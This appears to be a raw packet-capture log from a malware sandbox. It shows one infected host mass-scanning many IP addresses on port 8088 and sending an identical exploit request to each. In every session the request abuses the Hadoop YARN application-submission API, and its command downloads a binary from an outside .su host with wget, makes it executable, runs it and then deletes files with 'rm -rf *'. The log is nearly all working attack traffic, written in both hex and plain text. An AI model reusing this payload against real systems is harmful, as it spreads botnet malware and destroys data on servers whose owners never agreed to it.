Sep 12, 2024 00:37:24.657659054 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 78.220.79.118:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	45478	52.160.110.126	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:37:17.818010092 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 52.160.110.126:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	38258	138.85.232.54	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:37:23.821276903 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 138.85.232.54:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.23	45162	82.207.23.152	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:37:26.822380066 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 82.207.23.152:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.23	39082	100.179.115.147	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:37:29.823653936 CEST	362	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 100.179.115.147:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.23	52626	103.108.227.184	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:37:32.824621916 CEST	362	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 103.108.227.184:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.23	46346	244.58.211.204	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:37:35.825790882 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 244.58.211.204:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:37:36.036108017 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 244.58.211.204:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.23	50640	99.17.152.234	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:37:38.827234030 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 99.17.152.234:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.23	48256	199.119.126.228	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:37:41.828711033 CEST	362	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 199.119.126.228:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.23	58376	123.191.93.71	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:37:44.829803944 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 123.191.93.71:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.23	38034	254.41.12.18	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:37:47.831758976 CEST	359	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 254.41.12.18:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.23	56610	213.49.53.56	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:37:50.834150076 CEST	359	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 213.49.53.56:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.23	42658	91.185.226.47	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:37:53.836040020 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 91.185.226.47:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.23	37442	187.125.238.133	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:37:56.837558031 CEST	362	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 187.125.238.133:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.23	52634	33.247.222.246	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:37:59.839138031 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 33.247.222.246:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.23	58836	182.203.244.103	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:38:02.841063976 CEST	362	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 182.203.244.103:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.23	41508	114.142.230.93	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:38:05.842643023 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 114.142.230.93:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
